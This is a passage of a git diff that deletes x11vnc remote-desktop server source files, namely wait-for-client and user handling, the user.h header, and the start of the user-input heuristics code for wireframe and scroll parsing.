- rfbLog("progress_client: begin\n");
- db = 1;
- }
- for (i = 0; i < 15; i++) {
- if (latest_client) {
- for (j = 0; j < 10; j++) {
- if (latest_client->state != RFB_PROTOCOL_VERSION) {
- progressed = 1;
- break;
- }
- if (db) rfbLog("progress_client: calling-1 rfbCFD(1) %.6f\n", dnow()-start);
- rfbCFD(1);
- }
- }
- if (progressed) {
- break;
- }
- if (db) rfbLog("progress_client: calling-2 rfbCFD(1) %.6f\n", dnow()-start);
- rfbCFD(1);
- }
- if (!quiet) {
- rfbLog("client progressed=%d in %d/%d %.6f s\n",
- progressed, i, j, dnow() - start);
- }
-}
-
-int wait_for_client(int *argc, char** argv, int http) {
- /* ugh, here we go... */
- XImage* fb_image;
- int w = 640, h = 480, b = 32;
- int w0 = -1, h0 = -1, i, chg_raw_fb = 0;
- char *str, *q, *cmd = NULL;
- int db = 0, dt = 0;
- char *create_cmd = NULL;
- char *users_list_save = NULL;
- int created_disp = 0, ncache_save;
- int did_client_connect = 0;
- char *vnc_redirect_host = "localhost";
- int vnc_redirect_port = -1, vnc_redirect_cnt = 0;
- char vnc_redirect_test[10];
-
- if (getenv("WAIT_FOR_CLIENT_DB")) {
- db = 1;
- }
-
- vnc_redirect = 0;
-
- if (! use_dpy || strstr(use_dpy, "WAIT:") != use_dpy) {
- return 0;
- }
-
- for (i=0; i < *argc; i++) {
- if (!strcmp(argv[i], "-desktop")) {
- dt = 1;
- }
- if (db) fprintf(stderr, "args %d %s\n", i, argv[i]);
- }
- if (!quiet && !strstr(use_dpy, "FINDDISPLAY-run")) {
- rfbLog("\n");
- rfbLog("wait_for_client: %s\n", use_dpy);
- rfbLog("\n");
- }
-
- str = strdup(use_dpy);
- str += strlen("WAIT");
-
- xdmcp_insert = NULL;
-
- /* get any leading geometry: */
- q = strchr(str+1, ':');
- if (q) {
- *q = '\0';
- if (sscanf(str+1, "%dx%d", &w0, &h0) == 2) {
- w = w0;
- h = h0;
- rfbLog("wait_for_client set: w=%d h=%d\n", w, h);
- } else {
- w0 = -1;
- h0 = -1;
- }
- *q = ':';
- str = q;
- }
- if ((w0 == -1 || h0 == -1) && pad_geometry != NULL) {
- int b0, del = 0;
- char *s = pad_geometry;
- if (strstr(s, "once:") == s) {
- del = 1;
- s += strlen("once:");
- }
- if (sscanf(s, "%dx%dx%d", &w0, &h0, &b0) == 3) {
- w = nabs(w0);
- h = nabs(h0);
- b = nabs(b0);
- } else if (sscanf(s, "%dx%d", &w0, &h0) == 2) {
- w = nabs(w0);
- h = nabs(h0);
- }
- if (del) {
- pad_geometry = NULL;
- }
- }
-
- /* str currently begins with a ':' */
- if (strstr(str, ":cmd=") == str) {
- /* cmd=/path/to/mycommand */
- str++;
- } else if (strpbrk(str, "0123456789") == str+1) {
- /* :0.0 */
- ;
- } else {
- /* hostname:0.0 */
- str++;
- }
-
- if (db) fprintf(stderr, "str: %s\n", str);
-
- if (strstr(str, "cmd=") == str) {
- cmd = setup_cmd(str, &vnc_redirect, &vnc_redirect_host, &vnc_redirect_port, db);
- }
-
- fb_image = &ximage_struct;
- setup_fake_fb(fb_image, w, h, b);
-
- if (! dt) {
- char *s;
- argv[*argc] = strdup("-desktop");
- *argc = (*argc) + 1;
-
- if (cmd) {
- char *q;
- s = choose_title(":0");
- q = strstr(s, ":0");
- if (q) {
- *q = '\0';
- }
- } else {
- s = choose_title(str);
- }
- rfb_desktop_name = strdup(s);
- argv[*argc] = s;
- *argc = (*argc) + 1;
- }
-
- ncache_save = ncache;
- ncache = 0;
-
- initialize_allowed_input();
-
- if (! multiple_cursors_mode) {
- multiple_cursors_mode = strdup("default");
- }
- initialize_cursors_mode();
-
- initialize_screen(argc, argv, fb_image);
-
- if (! inetd && ! use_openssl) {
- if (! screen->port || screen->listenSock < 0) {
- if (got_rfbport && got_rfbport_val == 0) {
- ;
- } else if (ipv6_listen && ipv6_listen_fd >= 0) {
- rfbLog("Info: listening on IPv6 interface only. (wait for client)\n");
- } else {
- rfbLogEnable(1);
- rfbLog("Error: could not obtain listening port. (wait for client)\n");
- if (!got_rfbport && !got_ipv6_listen) {
- rfbLog("If this system is IPv6-only, use the -6 option.\n");
- }
- clean_up_exit(1);
- }
- }
- }
-
- initialize_signals();
-
- if (ssh_str != NULL) {
- ssh_remote_tunnel(ssh_str, screen->port);
- }
-
- if (! raw_fb) {
- chg_raw_fb = 1;
- /* kludge to get RAWFB_RET with dpy == NULL guards */
- raw_fb = (char *) 0x1;
- }
-
- if (cmd && !strcmp(cmd, "HTTPONCE")) {
- handle_one_http_request();
- clean_up_exit(0);
- }
-
- if (http && check_httpdir()) {
- http_connections(1);
- }
-
- if (cmd && unixpw) {
- keep_unixpw = 1;
- }
-
- setup_service();
-
- check_waitbg();
-
- if (vnc_redirect) {
- vnc_redirect_loop(vnc_redirect_test, &vnc_redirect_cnt);
- } else {
-
- if (use_threads && !started_rfbRunEventLoop) {
- started_rfbRunEventLoop = 1;
- rfbRunEventLoop(screen, -1, TRUE);
- }
-
- if (inetd && use_openssl) {
- accept_openssl(OPENSSL_INETD, -1);
- }
-
- setup_client_connect(&did_client_connect);
-
- loop_for_connect(did_client_connect);
-
- if (unixpw) {
- if (cmd && strstr(cmd, "FINDCREATEDISPLAY") == cmd) {
- if (users_list && strstr(users_list, "unixpw=") == users_list) {
- users_list_save = users_list;
- users_list = NULL;
- }
- }
- do_unixpw_loop();
- } else if (cmd && !use_threads) {
- /* try to get RFB proto done now. */
- progress_client();
- }
- }
-
- if (vnc_redirect == 2) {
- ;
- } else if (cmd) {
- if (!do_run_cmd(cmd, create_cmd, users_list_save, created_disp, db)) {
- return 0;
- }
- } else {
- use_dpy = strdup(str);
- }
- if (chg_raw_fb) {
- raw_fb = NULL;
- }
-
- ncache = ncache_save;
-
- if (unixpw && keep_unixpw_opts && keep_unixpw_opts[0] != '\0') {
- user_supplied_opts(keep_unixpw_opts);
- }
- if (create_cmd) {
- free(create_cmd);
- }
-
- if (vnc_redirect) {
- do_vnc_redirect(created_disp, vnc_redirect_host, vnc_redirect_port,
- vnc_redirect_cnt, vnc_redirect_test);
- clean_up_exit(0);
- }
-
- return 1;
-}
-
diff --git a/x11vnc/user.h b/x11vnc/user.h
deleted file mode 100644
index 68c1bb8..0000000
--- a/x11vnc/user.h
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_USER_H
-#define _X11VNC_USER_H
-
-/* -- user.h -- */
-
-extern void check_switched_user(void);
-extern void lurk_loop(char *str);
-extern int switch_user(char *, int);
-extern int read_passwds(char *passfile);
-extern void install_passwds(void);
-extern void check_new_passwds(int force);
-extern void progress_client(void);
-extern int wait_for_client(int *argc, char** argv, int http);
-extern rfbBool custom_passwd_check(rfbClientPtr cl, const char *response, int len);
-extern char *xdmcp_insert;
-
-#endif /* _X11VNC_USER_H */
diff --git a/x11vnc/userinput.c b/x11vnc/userinput.c
deleted file mode 100644
index 84bcb7b..0000000
--- a/x11vnc/userinput.c
+++ /dev/null
@@ -1,10199 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- userinput.c -- */
-
-#include "x11vnc.h"
-#include "xwrappers.h"
-#include "xdamage.h"
-#include "xrecord.h"
-#include "xinerama.h"
-#include "win_utils.h"
-#include "xevents.h"
-#include "user.h"
-#include "scan.h"
-#include "cleanup.h"
-#include "pointer.h"
-#include "rates.h"
-#include "keyboard.h"
-#include "solid.h"
-#include "xrandr.h"
-#include "8to24.h"
-#include "unixpw.h"
-#include "macosx.h"
-#include "macosxCGS.h"
-#include "cursor.h"
-#include "screen.h"
-#include "connections.h"
-
-/*
- * user input handling heuristics
- */
-int defer_update_nofb = 4; /* defer a shorter time under -nofb */
-int last_scroll_type = SCR_NONE;
-
-
-int get_wm_frame_pos(int *px, int *py, int *x, int *y, int *w, int *h,
- Window *frame, Window *win);
-void parse_scroll_copyrect(void);
-void parse_fixscreen(void);
-void parse_wireframe(void);
-
-void set_wirecopyrect_mode(char *str);
-void set_scrollcopyrect_mode(char *str);
-void initialize_scroll_keys(void);
-void initialize_scroll_matches(void);
-void initialize_scroll_term(void);
-void initialize_max_keyrepeat(void);
-
-int direct_fb_copy(int x1, int y1, int x2, int y2, int mark);
-void fb_push(void);
-int fb_push_wait(double max_wait, int flags);
-void eat_viewonly_input(int max_eat, int keep);
-
-void mark_for_xdamage(int x, int y, int w, int h);
-void mark_region_for_xdamage(sraRegionPtr region);
-void set_xdamage_mark(int x, int y, int w, int h);
-int near_wm_edge(int x, int y, int w, int h, int px, int py);
-int near_scrollbar_edge(int x, int y, int w, int h, int px, int py);
-
-void check_fixscreen(void);
-int check_xrecord(void);
-int check_wireframe(void);
-int fb_update_sent(int *count);
-int check_user_input(double dt, double dtr, int tile_diffs, int *cnt);
-void do_copyregion(sraRegionPtr region, int dx, int dy, int mode);
-
-int check_ncache(int reset, int mode);
-int find_rect(int idx, int x, int y, int w, int h);
-int bs_restore(int idx, int *nbatch, sraRegionPtr rmask, XWindowAttributes *attr, int clip, int nopad, int *valid, int verb);
-int try_to_fix_su(Window win, int idx, Window above, int *nbatch, char *mode);
-int try_to_fix_resize_su(Window orig_frame, int orig_x, int orig_y, int orig_w, int orig_h,
- int x, int y, int w, int h, int try_batch);
-int lookup_win_index(Window);
-void set_ncache_xrootpmap(void);
-
-static void get_client_regions(int *req, int *mod, int *cpy, int *num) ;
-static void parse_scroll_copyrect_str(char *scr);
-static void parse_wireframe_str(char *wf);
-static void destroy_str_list(char **list);
-static void draw_box(int x, int y, int w, int h, int restore);
-static int do_bdpush(Window wm_win, int x0, int y0, int w0, int h0, int bdx,
- int bdy, int bdskinny);
-static int set_ypad(void);
-static void scale_mark(int x1, int y1, int x2, int y2, int mark);
-static int push_scr_ev(double *age, int type, int bdpush, int bdx, int bdy,
- int bdskinny, int first_push);
-static int crfix(int x, int dx, int Lx);
-static int scrollability(Window win, int set);
-static int eat_pointer(int max_ptr_eat, int keep);
-static void set_bdpush(int type, double *last_bdpush, int *pushit);
-static int repeat_check(double last_key_scroll);
-static int check_xrecord_keys(void);
-static int check_xrecord_mouse(void);
-static int try_copyrect(Window orig_frame, Window frame, int x, int y, int w, int h,
- int dx, int dy, int *obscured, sraRegionPtr extra_clip, double max_wait, int *nbatch);
-static int wireframe_mod_state();
-static void check_user_input2(double dt);
-static void check_user_input3(double dt, double dtr, int tile_diffs);
-static void check_user_input4(double dt, double dtr, int tile_diffs);
-
-winattr_t *cache_list;
-
-/*
- * For -wireframe: find the direct child of rootwin that has the
- * pointer, assume that is the WM frame that contains the application
- * (i.e. wm reparents the app toplevel) return frame position and size
- * if successful.
- */
-int get_wm_frame_pos(int *px, int *py, int *x, int *y, int *w, int *h,
- Window *frame, Window *win) {
-#if !NO_X11
- Window r, c;
- XWindowAttributes attr;
- Bool ret;
- int rootx, rooty, wx, wy;
- unsigned int mask;
-#endif
-
-#ifdef MACOSX
- if (macosx_console) {
- return macosx_get_wm_frame_pos(px, py, x, y, w, h, frame, win);
- }
-#endif
-
- RAWFB_RET(0)
-
-#if NO_X11
- if (!px || !py || !x || !y || !w || !h || !frame || !win) {}
- return 0;
-#else
-
-
- ret = XQueryPointer_wr(dpy, rootwin, &r, &c, &rootx, &rooty, &wx, &wy,
- &mask);
-
- *frame = c;
-
- /* current pointer position is returned too */
- *px = rootx;
- *py = rooty;
-
- if (!ret || ! c || c == rootwin) {
- /* no immediate child */
- return 0;
- }
-
- /* child window position and size */
- if (! valid_window(c, &attr, 1)) {
- return 0;
- }
-
- *x = attr.x;
- *y = attr.y;
- *w = attr.width;
- *h = attr.height;
-
-#if 0
- /* more accurate, but the animation is bogus anyway */
- if (attr.border_width > 0) {
- *w += 2 * attr.border_width;
- *h += 2 * attr.border_width;
- }
-#endif
-
- if (win != NULL) {
- *win = descend_pointer(5, c, NULL, 0);
- }
-
- return 1;
-#endif /* NO_X11 */
-}
-
-static int scrollcopyrect_top, scrollcopyrect_bot;
-static int scrollcopyrect_left, scrollcopyrect_right;
-static double scr_key_time, scr_key_persist;
-static double scr_mouse_time, scr_mouse_persist, scr_mouse_maxtime;
-static double scr_mouse_pointer_delay;
-static double scr_key_bdpush_time, scr_mouse_bdpush_time;
-
-static void parse_scroll_copyrect_str(char *scr) {
- char *p, *str;
- int i;
- char *part[16];
-
- for (i=0; i<16; i++) {
- part[i] = NULL;
- }
-
- if (scr == NULL || *scr == '\0') {
- return;
- }
-
- str = strdup(scr);
-
- p = strtok(str, ",");
- i = 0;
- while (p) {
- part[i++] = strdup(p);
- p = strtok(NULL, ",");
- if (i >= 16) break;
- }
- free(str);
-
-
- /*
- * Top, Bottom, Left, Right tolerances for scrollbar locations.
- */
- if ((str = part[0]) != NULL) {
- int t, b, l, r;
- if (sscanf(str, "%d+%d+%d+%d", &t, &b, &l, &r) == 4) {
- scrollcopyrect_top = t;
- scrollcopyrect_bot = b;
- scrollcopyrect_left = l;
- scrollcopyrect_right = r;
- }
- free(str);
- }
-
- /* key scrolling timing heuristics. */
- if ((str = part[1]) != NULL) {
- double t1, t2, t3;
- if (sscanf(str, "%lf+%lf+%lf", &t1, &t2, &t3) == 3) {
- scr_key_time = t1;
- scr_key_persist = t2;
- scr_key_bdpush_time = t3;
- }
- free(str);
- }
-
- /* mouse scrolling timing heuristics. */
- if ((str = part[2]) != NULL) {
- double t1, t2, t3, t4, t5;
- if (sscanf(str, "%lf+%lf+%lf+%lf+%lf", &t1, &t2, &t3, &t4,
- &t5) == 5) {
- scr_mouse_time = t1;
- scr_mouse_persist = t2;
- scr_mouse_bdpush_time = t3;
- scr_mouse_pointer_delay = t4;
- scr_mouse_maxtime = t5;
- }
- free(str);
- }
-}
-
-void parse_scroll_copyrect(void) {
- parse_scroll_copyrect_str(SCROLL_COPYRECT_PARMS);
- if (! scroll_copyrect_str) {
- scroll_copyrect_str = strdup(SCROLL_COPYRECT_PARMS);
- }
- parse_scroll_copyrect_str(scroll_copyrect_str);
-}
-
-void parse_fixscreen(void) {
- char *str, *p;
-
- screen_fixup_V = 0.0;
- screen_fixup_C = 0.0;
- screen_fixup_X = 0.0;
- screen_fixup_8 = 0.0;
-
- if (! screen_fixup_str) {
- return;
- }
-
- str = strdup(screen_fixup_str);
-
- p = strtok(str, ",");
- while (p) {
- double t;
- if (*p == 'V' && sscanf(p, "V=%lf", &t) == 1) {
- screen_fixup_V = t;
- } else if (*p == 'C' && sscanf(p, "C=%lf", &t) == 1) {
- screen_fixup_C = t;
- } else if (*p == 'X' && sscanf(p, "X=%lf", &t) == 1) {
- screen_fixup_X = t;
- } else if (*p == 'X' && sscanf(p, "8=%lf", &t) == 1) {
- screen_fixup_8 = t;
- }
- p = strtok(NULL, ",");
- }
- free(str);
-
- if (screen_fixup_V < 0.0) screen_fixup_V = 0.0;
- if (screen_fixup_C < 0.0) screen_fixup_C = 0.0;
- if (screen_fixup_X < 0.0) screen_fixup_X = 0.0;
- if (screen_fixup_8 < 0.0) screen_fixup_8 = 0.0;
-}
-
-/*
-WIREFRAME_PARMS "0xff,2,0,30+6+6+6,Alt,0.05+0.3+2.0,8"
- 0xff,2,0,32+8+8+8,all,0.15+0.30+5.0+0.125
-shade,linewidth,percent,T+B+L+R,mods,t1+t2+t3+t4
- */
-#define LW_MAX 8
-static unsigned long wireframe_shade = 0xff;
-static int wireframe_lw;
-static double wireframe_frac;
-static int wireframe_top, wireframe_bot, wireframe_left, wireframe_right;
-static double wireframe_t1, wireframe_t2, wireframe_t3, wireframe_t4;
-static char *wireframe_mods = NULL;
-
-/*
- * Parse the gory -wireframe string for parameters.
- */
-static void parse_wireframe_str(char *wf) {
- char *p, *str;
- int i;
- char *part[16];
-
- for (i=0; i<16; i++) {
- part[i] = NULL;
- }
-
- if (wf == NULL || *wf == '\0') {
- return;
- }
-
- str = strdup(wf);
-
- /* leading ",", make it start with ignorable string "z" */
- if (*str == ',') {
- char *tmp = (char *) malloc(strlen(str)+2);
- strcpy(tmp, "z");
- strcat(tmp, str);
- free(str);
- str = tmp;
- }
-
- p = strtok(str, ",");
- i = 0;
- while (p) {
- part[i++] = strdup(p);
- p = strtok(NULL, ",");
- if (i >= 16) break;
- }
- free(str);
-
-
- /* Wireframe shade, color, RGB: */
- if ((str = part[0]) != NULL) {
- unsigned long n;
- int r, g, b, ok = 0;
- XColor cdef;
- Colormap cmap;
- if (dpy && (bpp == 32 || bpp == 16)) {
-#if !NO_X11
- X_LOCK;
- cmap = DefaultColormap (dpy, scr);
- if (XParseColor(dpy, cmap, str, &cdef) &&
- XAllocColor(dpy, cmap, &cdef)) {
- r = cdef.red >> 8;
- g = cdef.green >> 8;
- b = cdef.blue >> 8;
- if (r == 0 && g == 0) {
- g = 1; /* need to be > 255 */
- }
- n = 0;
- n |= (r << main_red_shift);
- n |= (g << main_green_shift);
- n |= (b << main_blue_shift);
- wireframe_shade = n;
- ok = 1;
- }
- X_UNLOCK;
-#else
- r = g = b = 0;
- cmap = 0;
- cdef.pixel = 0;
-#endif
- }
- if (ok) {
- ;
- } else if (sscanf(str, "0x%lx", &n) == 1) {
- wireframe_shade = n;
- } else if (sscanf(str, "%lu", &n) == 1) {
- wireframe_shade = n;
- } else if (sscanf(str, "%lx", &n) == 1) {
- wireframe_shade = n;
- }
- free(str);
- }
-
- /* linewidth: # of pixels wide for the wireframe lines */
- if ((str = part[1]) != NULL) {
- int n;
- if (sscanf(str, "%d", &n) == 1) {
- wireframe_lw = n;
- if (wireframe_lw < 1) {
- wireframe_lw = 1;
- }
- if (wireframe_lw > LW_MAX) {
- wireframe_lw = LW_MAX;
- }
- }
- free(str);
- }
-
- /* percentage cutoff for opaque move/resize (like WM's) */
- if ((str = part[2]) != NULL) {
- if (*str == '\0') {
- ;
- } else if (strchr(str, '.')) {
- wireframe_frac = atof(str);
- } else {
- wireframe_frac = ((double) atoi(str))/100.0;
- }
- free(str);
- }
-
- /*
- * Top, Bottom, Left, Right tolerances to guess the wm frame is
- * being grabbed (Top is traditionally bigger, i.e. titlebar):
- */
- if ((str = part[3]) != NULL) {
- int t, b, l, r;
- if (sscanf(str, "%d+%d+%d+%d", &t, &b, &l, &r) == 4) {
- wireframe_top = t;
- wireframe_bot = b;
- wireframe_left = l;
- wireframe_right = r;
- }
- free(str);
- }
-
- /*
- * wireframe in interior with Modifier down.
- * 0 => no mods
- * 1 => all mods
- * Shift,Alt,Control,Meta,Super,Hyper
- */
- if (wireframe_mods) {
- free(wireframe_mods);
- }
- wireframe_mods = NULL;
- if ((str = part[4]) != NULL) {
- if (*str == '0' || !strcmp(str, "none")) {
- ;
- } else if (*str == '1' || !strcmp(str, "all")) {
- wireframe_mods = strdup("all");
- } else if (!strcmp(str, "Alt") || !strcmp(str, "Shift")
- || !strcmp(str, "Control") || !strcmp(str, "Meta")
- || !strcmp(str, "Super") || !strcmp(str, "Hyper")) {
- wireframe_mods = strdup(str);
- }
- }
-
- /* check_wireframe() timing heuristics. */
- if ((str = part[5]) != NULL) {
- double t1, t2, t3, t4;
- if (sscanf(str, "%lf+%lf+%lf+%lf", &t1, &t2, &t3, &t4) == 4) {
- wireframe_t1 = t1;
- wireframe_t2 = t2;
- wireframe_t3 = t3;
- wireframe_t4 = t4;
- }
- free(str);
- }
-}
-
-/*
- * First parse the defaults and apply any user supplied ones (may be a subset)
- */
-void parse_wireframe(void) {
- parse_wireframe_str(WIREFRAME_PARMS);
- if (! wireframe_str) {
- wireframe_str = strdup(WIREFRAME_PARMS);
- }
- parse_wireframe_str(wireframe_str);
-}
-
-/*
- * Set wireframe_copyrect based on desired mode.
- */
-void set_wirecopyrect_mode(char *str) {
- char *orig = wireframe_copyrect;
- if (str == NULL || *str == '\0') {
- wireframe_copyrect = strdup(wireframe_copyrect_default);
- } else if (!strcmp(str, "always") || !strcmp(str, "all")) {
- wireframe_copyrect = strdup("always");
- } else if (!strcmp(str, "top")) {
- wireframe_copyrect = strdup("top");
- } else if (!strcmp(str, "never") || !strcmp(str, "none")) {
- wireframe_copyrect = strdup("never");
- } else {
- if (! wireframe_copyrect) {
- wireframe_copyrect = strdup(wireframe_copyrect_default);
- } else {
- orig = NULL;
- }
- rfbLog("unknown -wirecopyrect mode: %s, using: %s\n", str,
- wireframe_copyrect);
- }
- if (orig) {
- free(orig);
- }
-}
-
-/*
- * Set scroll_copyrect based on desired mode.
- */
-void set_scrollcopyrect_mode(char *str) {
- char *orig = scroll_copyrect;
- if (str == NULL || *str == '\0') {
- scroll_copyrect = strdup(scroll_copyrect_default);
- } else if (!strcmp(str, "always") || !strcmp(str, "all") ||
- !strcmp(str, "both")) {
- scroll_copyrect = strdup("always");
- } else if (!strcmp(str, "keys") || !strcmp(str, "keyboard")) {
- scroll_copyrect = strdup("keys");
- } else if (!strcmp(str, "mouse") || !strcmp(str, "pointer")) {
- scroll_copyrect = strdup("mouse");
- } else if (!strcmp(str, "never") || !strcmp(str, "none")) {
- scroll_copyrect = strdup("never");
- } else {
- if (! scroll_copyrect) {
- scroll_copyrect = strdup(scroll_copyrect_default);
- } else {
- orig = NULL;
- }
- rfbLog("unknown -scrollcopyrect mode: %s, using: %s\n", str,
- scroll_copyrect);
- }
- if (orig) {
- free(orig);
- }
-}
-
-void initialize_scroll_keys(void) {
- char *str, *p;
- int i, nkeys = 0, saw_builtin = 0;
- int ks_max = 2 * 0xFFFF;
-
- if (scroll_key_list) {
- free(scroll_key_list);
- scroll_key_list = NULL;
- }
- if (! scroll_key_list_str || *scroll_key_list_str == '\0') {
- return;
- }
-
- if (strstr(scroll_key_list_str, "builtin")) {
- int k;
- /* add in number of keysyms builtin gives */
- for (k=1; k<ks_max; k++) {
- if (xrecord_scroll_keysym((rfbKeySym) k)) {
- nkeys++;
- }
- }
- }
-
- nkeys++; /* first key, i.e. no commas. */
- p = str = strdup(scroll_key_list_str);
- while(*p) {
- if (*p == ',') {
- nkeys++; /* additional key. */
- }
- p++;
- }
-
- nkeys++; /* exclude/include 0 element */
- nkeys++; /* trailing NoSymbol */
-
- scroll_key_list = (KeySym *) malloc(nkeys*sizeof(KeySym));
- for (i=0; i<nkeys; i++) {
- scroll_key_list[i] = NoSymbol;
- }
- if (*str == '-') {
- scroll_key_list[0] = 1;
- p = strtok(str+1, ",");
- } else {
- p = strtok(str, ",");
- }
- i = 1;
- while (p) {
- if (!strcmp(p, "builtin")) {
- int k;
- if (saw_builtin) {
- p = strtok(NULL, ",");
- continue;
- }
- saw_builtin = 1;
- for (k=1; k<ks_max; k++) {
- if (xrecord_scroll_keysym((rfbKeySym) k)) {
- scroll_key_list[i++] = (rfbKeySym) k;
- }
- }
- } else {
- unsigned int in;
- if (sscanf(p, "%u", &in) == 1) {
- scroll_key_list[i++] = (rfbKeySym) in;
- } else if (sscanf(p, "0x%x", &in) == 1) {
- scroll_key_list[i++] = (rfbKeySym) in;
- } else if (XStringToKeysym(p) != NoSymbol) {
- scroll_key_list[i++] = XStringToKeysym(p);
- } else {
- rfbLog("initialize_scroll_keys: skip unknown "
- "keysym: %s\n", p);
- }
- }
- p = strtok(NULL, ",");
- }
- free(str);
-}
-
-static void destroy_str_list(char **list) {
- int i = 0;
- if (! list) {
- return;
- }
- while (list[i] != NULL) {
- free(list[i++]);
- }
- free(list);
-}
-
-void initialize_scroll_matches(void) {
- char *str, *imp = "__IMPOSSIBLE_STR__";
- int i, n, nkey, nmouse;
-
- destroy_str_list(scroll_good_all);
- scroll_good_all = NULL;
- destroy_str_list(scroll_good_key);
- scroll_good_key = NULL;
- destroy_str_list(scroll_good_mouse);
- scroll_good_mouse = NULL;
-
- destroy_str_list(scroll_skip_all);
- scroll_skip_all = NULL;
- destroy_str_list(scroll_skip_key);
- scroll_skip_key = NULL;
- destroy_str_list(scroll_skip_mouse);
- scroll_skip_mouse = NULL;
-
- /* scroll_good: */
- if (scroll_good_str != NULL && *scroll_good_str != '\0') {
- str = scroll_good_str;
- } else {
- str = scroll_good_str0;
- }
- scroll_good_all = create_str_list(str);
-
- nkey = 0;
- nmouse = 0;
- n = 0;
- while (scroll_good_all[n] != NULL) {
- char *s = scroll_good_all[n++];
- if (strstr(s, "KEY:") == s) nkey++;
- if (strstr(s, "MOUSE:") == s) nmouse++;
- }
- if (nkey++) {
- scroll_good_key = (char **) malloc(nkey*sizeof(char *));
- for (i=0; i<nkey; i++) scroll_good_key[i] = NULL;
- }
- if (nmouse++) {
- scroll_good_mouse = (char **) malloc(nmouse*sizeof(char *));
- for (i=0; i<nmouse; i++) scroll_good_mouse[i] = NULL;
- }
- nkey = 0;
- nmouse = 0;
- for (i=0; i<n; i++) {
- char *s = scroll_good_all[i];
- if (strstr(s, "KEY:") == s) {
- scroll_good_key[nkey++] = strdup(s+strlen("KEY:"));
- free(s);
- scroll_good_all[i] = strdup(imp);
- } else if (strstr(s, "MOUSE:") == s) {
- scroll_good_mouse[nmouse++]=strdup(s+strlen("MOUSE:"));
- free(s);
- scroll_good_all[i] = strdup(imp);
- }
- }
-
- /* scroll_skip: */
- if (scroll_skip_str != NULL && *scroll_skip_str != '\0') {
- str = scroll_skip_str;
- } else {
- str = scroll_skip_str0;
- }
- scroll_skip_all = create_str_list(str);
-
- nkey = 0;
- nmouse = 0;
- n = 0;
- while (scroll_skip_all[n] != NULL) {
- char *s = scroll_skip_all[n++];
- if (strstr(s, "KEY:") == s) nkey++;
- if (strstr(s, "MOUSE:") == s) nmouse++;
- }
- if (nkey++) {
- scroll_skip_key = (char **) malloc(nkey*sizeof(char *));
- for (i=0; i<nkey; i++) scroll_skip_key[i] = NULL;
- }
- if (nmouse++) {
- scroll_skip_mouse = (char **) malloc(nmouse*sizeof(char *));
- for (i=0; i<nmouse; i++) scroll_skip_mouse[i] = NULL;
- }
- nkey = 0;
- nmouse = 0;
- for (i=0; i<n; i++) {
- char *s = scroll_skip_all[i];
- if (strstr(s, "KEY:") == s) {
- scroll_skip_key[nkey++] = strdup(s+strlen("KEY:"));
- free(s);
- scroll_skip_all[i] = strdup(imp);
- } else if (strstr(s, "MOUSE:") == s) {
- scroll_skip_mouse[nmouse++]=strdup(s+strlen("MOUSE:"));
- free(s);
- scroll_skip_all[i] = strdup(imp);
- }
- }
-}
-
-void initialize_scroll_term(void) {
- char *str;
- int n;
-
- destroy_str_list(scroll_term);
- scroll_term = NULL;
-
- if (scroll_term_str != NULL && *scroll_term_str != '\0') {
- str = scroll_term_str;
- } else {
- str = scroll_term_str0;
- }
- if (!strcmp(str, "none")) {
- return;
- }
- scroll_term = create_str_list(str);
-
- n = 0;
- while (scroll_term[n] != NULL) {
- char *s = scroll_good_all[n++];
- /* pull parameters out at some point */
- s = NULL;
- }
-}
-
-void initialize_max_keyrepeat(void) {
- char *str;
- int lo, hi;
-
- if (max_keyrepeat_str != NULL && *max_keyrepeat_str != '\0') {
- str = max_keyrepeat_str;
- } else {
- str = max_keyrepeat_str0;
- }
-
- if (sscanf(str, "%d-%d", &lo, &hi) != 2) {
- rfbLog("skipping invalid -scr_keyrepeat string: %s\n", str);
- sscanf(max_keyrepeat_str0, "%d-%d", &lo, &hi);
- }
- max_keyrepeat_lo = lo;
- max_keyrepeat_hi = hi;
- if (max_keyrepeat_lo < 1) {
- max_keyrepeat_lo = 1;
- }
- if (max_keyrepeat_hi > 40) {
- max_keyrepeat_hi = 40;
- }
-}
-
-typedef struct saveline {
- int x0, y0, x1, y1;
- int shift;
- int vert;
- int saved;
- char *data;
-} saveline_t;
-
-/*
- * Draw the wireframe box onto the framebuffer. Saves the real
- * framebuffer data to some storage lines. Restores previous lines.
- * use restore = 1 to clean up (done with animation).
- * This works with -scale.
- */
-static void draw_box(int x, int y, int w, int h, int restore) {
